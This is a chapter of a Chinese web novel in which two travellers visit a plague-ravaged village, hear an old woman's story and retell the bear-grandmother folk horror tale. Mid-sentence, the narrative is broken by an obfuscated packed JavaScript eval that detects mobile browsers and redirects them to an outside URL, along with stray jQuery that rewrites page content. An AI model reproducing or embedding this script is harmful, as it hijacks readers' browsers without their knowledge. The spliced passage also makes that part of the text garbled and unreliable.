酆都位于江北,距离渝中不过两个时辰,这边的乡镇却比渝中破败得多,而且少见有青壮年留在家中。


    走在山路上难得见到几户人家,好不容易找到一家饭馆,打算坐下吃点什么,却迟迟不见老板。


    李之鸣发愁时,一个老太太背着满箩筐的玉米走了过来,李之鸣连忙把人喊住。


    “哎婆婆!”李之鸣朝她招手。


    大娘一头发丝花白,估计是听力不好,佝偻着腰继续往前走。


    李之鸣见状只得走过去再喊一遍。


    “婆婆哎!听得到我说话不?”李之鸣弯下腰帮老太太扶了一下背篓。


    老太太缓缓转过头,抬头看了一眼李之鸣,仅是一眼,她满眼欣喜地握住李之鸣的手,叹到:“张二娃呐!回来了嗦!”


    这时李之鸣才发现老太太的牙已经掉了一半,说起话来口齿不清的,她的瞳孔上结着一层白膜,黑色的眼仁在岁月里褪色,此刻看上去到像是生来便有一双蓝色的眼睛一样。


    也不顾李之鸣反应,她攥着李之鸣的手口里喋喋不休地说着全七八糟的事,李之鸣也不知道如何打断,就由着她往下说。


    上官羽鹭察觉到不对,走过来看看情况,老太太看到上官羽鹭眯眼打量了一下,转而喜上眉梢,拉着李之鸣问道:“谈对象啦?”


    老太太关切的神情让李之鸣愣了很久,上官羽鹭张了张口,又闭上,终究是看着他一句话都没有说。


    许久,李之鸣眼眶酸涩,仓促一笑,回握住老太太的手,诸多关切也不知道如何应答,只能一并合作一句“都好”。


    老太太叹了一口气,拍拍李之鸣的手,又看向上官羽鹭,松了李之鸣的手,她颤颤巍巍拿出一张破布,里面包着几个铜板,她也没数,抓起上官羽鹭的手,全都塞到了他手里。


    上官羽鹭一惊,推拒回去,说着:“老人家我收不得……”


    却被老太太避开来,她摆摆手,又把李之鸣往他身边推。


    “我嘛,也是老了,不中用啦!难得嘛二娃还回来看哈我们老人家些,不晓得二娃在外头混出个名堂来没得哦,你跟到起他也是吃苦哦!我们长辈些嘞一点心意,你嘛,收到起嘛……”


    这下上官羽鹭也不知道说什么了,攥紧手里的铜板,行了个礼:“那上官收下了。”


    老太太满意的笑了,见两人风尘仆仆,又道:“吃了没的啊?没吃嘞话来我家头吃个晌午嘛。”


    上官羽鹭本想推拒,却被李之鸣肘了一下,回望李之鸣,见他用口型说:和她回家,看看有没有帮的上忙的。


    上官羽鹭颔首一笑。


    于是两人就跟在了老太太后面,李之鸣想要帮她背背篓,手刚触到肩带,就被老太太一巴掌拍掉了。


    一路上老太太时不时指一下旁边的院落,嘴里念叨着一些模糊不清的话,虽然渝城和叙府的方言没太大差异,但夹杂着一些土方土话,多多少少还是有些听不懂的,好在李之鸣有个朋友就在渝城的原型渝庆读大学,李之鸣常去玩,也学了几句。


    老太太说的基本上就是这家人怎么怎么啦,那家人又怎么怎么啦。


    在老太太的话中,李之鸣逐渐把这个乡镇的情况了解了个大概。


    这个村子叫杏林村。


    四年前,一场瘟疫在村子里蔓延,官府派了人来救灾,但却没有什么成效,又值旱年,大家也没什么吃的,天灾人祸,就这样熬死了不少人。


    原本屋舍俨然的地方成了人间炼狱。


    过了一段时间,村子里突然来了一位神医,这位神医很奇怪,浑身都裹着黑布,宛若见不得光一般——她就像个影子,像个鬼。


    老太太说道。


    偏偏,这位神医的药方出奇的有效,只要是去找她问过诊的人,哪怕头天是抬着进去的,第二天都能生龙活虎的走出来。


    没人知道这位神医是什么来头,而且也没人见过她长什么样子,问诊时,她和病人隔着一扇屏风,听声音听得出,她应该是个女人。


    有神医在,村里的瘟疫很快就好了,但是官府的人并没有走。


    他们成天到晚商量着什么,村民本来不以为意,直到有一天,那官老爷突然说要征收土地税。


    村里人病了一年半载的,哪里拿得出粮来啊。


    交不上税,官府就打人,活生生打死了两个人,那两人家里的妻儿受不了这打击,也都跟着投江自尽了。


    剩下的人瑟瑟缩缩,迫不得已把过冬的粮都交了出去,就在那一年冬天,瘟疫复发了。


    见病情控制不住,官府的人连夜打着小船跑了,只剩一村子被病痛折磨到疯魔的村民,和焦头烂额的神医。


    也许是神医也无能为力了,村子里的人一夜间不见了许多。


    老太太的耳朵就是在那时候出事的。


    再后来的事,她没有说了。


    听完老婆的故事两人皆是脸色一变,李之鸣疑惑地望了上官羽鹭一眼,上官羽鹭摇了摇头,李之鸣便知他也知道这其中的不对劲了。


    老婆婆说瘟疫爆发是四年前,四年前她五十岁,但是张二娃已经走了三十来年了……


    不详的预感滋生蔓延,李之鸣克制住心中的猜忌,或许是老人家记错了呢?毕竟他李之鸣咋看也不像是三十多岁的人啊!


    走到矮小的屋子前,她推开那扇发黑的木门,笑着招呼李之鸣和上官羽鹭:“进来坐到嘛。”


    屋子里的布局倒是很正常,没有出现恐怖片里那种摆设阴暗陈旧的情况。


    李之鸣和上官羽鹭弯腰走进屋内,老太太放下了背篓,打开木柜翻找一圈,摸出两个沃柑,宝贝似的拿衣角揩了揩灰尘,放在桌上,喊他俩吃,


    望着这两个蔫果子,李之鸣和上官羽鹭不约而同地望向对方,苦苦一笑。


    李之鸣起身喊道:“婆婆你弄啥子哦?”没走两步,就被厨房里忙活的老太太押回来坐到了座位上。


    干望着沃柑也无聊,李之鸣干脆环顾起四周,老太太家里的陈设十分简陋,只有两个柜子,两张床,还有几间锁着的屋子,看起来应该是堆放杂物的,其中有一个柜子正是他们面前的餐桌,屋子的后墙上有一扇门,那一扇门应该是通向后面的鸡圈的,只是不知道荒废了多久,别说鸡鸣了,李之鸣连鸡屎味都没闻到。


    说来也奇怪,自打李之鸣穿过来,他一只鸡都没有吃到,柳乔巧平时带他去的馆子都是城里最好的那种,但菜单上任何和鸡相关的菜都没有。


    难道说是江北这边的情况影响到了整个渝城吗?那也不对啊……叙府的菜单上他也没看见有鸡啊。


    又在屋子里转了几圈,李之鸣突然发现了屋子正中央的柜子上有几道抓痕。


    这是被什么动物抓出来的吗?但是没有动物的爪子会那么大吧?


    越想越头疼,李之鸣微微皱了皱眉。


    上官羽鹭悠悠一转,问:“怎么了?”


    “没事,”李之鸣笑了笑,“想起了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656052|188287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个流传至今的儿童惊悚文学。”


    “嗯?”上官羽鹭眯了眯眼,“那是什么?”


    “你听过熊家婆这个故事吗?”李之鸣往上官羽鹭身边靠,压低了声音说。


    上官羽鹭还真没听过这个故事,摇了摇头。


    这下李之鸣兴致就上来了,他不怀好意地笑了。


    “那你听我讲……”


    “就是啊,在很久以前……”


    很久以前,有一对姐妹,她们的外婆住在山里,有一天呢,两姐妹打算去山里探望外婆,山遥路远,待两姐妹走到,已是深夜,外婆家里没有点灯,夜色下,两姐妹看不清外婆的样子,只知道外婆浑身都裹着布。


    姐姐问:外婆,你为什么要穿这么厚呀,明明是夏天。


    外婆沙哑的声音传来,说,因为外婆生病了。


    两姐妹不疑有他。


    之后外婆说身体不舒服,让两姐妹先休息吧,正好姐姐和妹妹也都累了。


    睡到半夜,姐姐突然发现床边的妹妹不见了,着急下,她起身下床去找妹妹。


    走到屋子中央,她忽然听到木柜子里传来奇怪的声响。


    咔嚓。


    咔嚓。


    姐姐好奇地走了过去,对柜子问:外婆,是你吗?


    柜子里的响声停了,一会后,传来外婆的声音,说,是她,她在吃外公带回来的胡豆。


    姐姐当即问她,妹妹呢?


    外婆说妹妹起夜去了。


    姐姐点点头,打算回去继续睡觉,没走两步,她听见柜子里又传来声响。


    眼尖的她发现柜子侧边其实有一个小缝,于是她趴在地上,对着那个小孔看进去——她看见了一只批了一半人皮的熊,抓着一只血肉模糊的手啃。


    咔嚓。


    咔嚓。


    那是犬牙砥砺指关节的声音……而那只手的手腕上,系着一根红绳……


    那是……


    “那是妹妹的手……”


    李之鸣的故事说到结尾,突然被人接话,接着他感受到一只冰凉的手沿着他的手背往上攀……在触及到腕骨的那一刻,狠狠一握!


    李之鸣吓得直接从座位上弹了起来。


    然后他看到了上官羽鹭挂在他腕骨上来没来得及拿开的手,以及男人拿另一只手捂着脸,肩膀止不住的发抖。


    憋笑憋的。


    霎时间李之鸣的脸色扭曲变形,宛若一个巨大的染缸。


    忍无可忍,无需再忍!


    “上官羽鹭!”李之鸣震怒到。


    上官羽鹭也是不装了,拉着李之鸣坐下,眉眼弯弯的看着他,笑道:“难为你怕黑又怕鬼的,还陪我来一趟鬼门关了。”


    听他这么一说李之鸣哑火了。


    明明是自己拉着他来鬼市……这人偏要说是陪他……


    搞不懂他在想什么。


    不过是个打闹的功夫,老太太端着热乎的饭菜来了。


    饭菜算不上丰盛,不过是两个干巴的烧饼和一碟咸菜,还有两根玉米。


    老太太把饭菜放在桌上,招呼他们俩趁热吃。


    李之鸣吃了两口,找了个时机,问老太太:“婆婆,那个纸人铺在哪哎?”


    “纸人?”老太太想了一会,“牛三娃那个摊摊嘛,后头山咔咔那哒,你问这个做爪子哦?少往山里头跑哦。”


    李之鸣笑笑打了个哈哈敷衍过去。


    今晚,他们俩就要动身去鬼市了。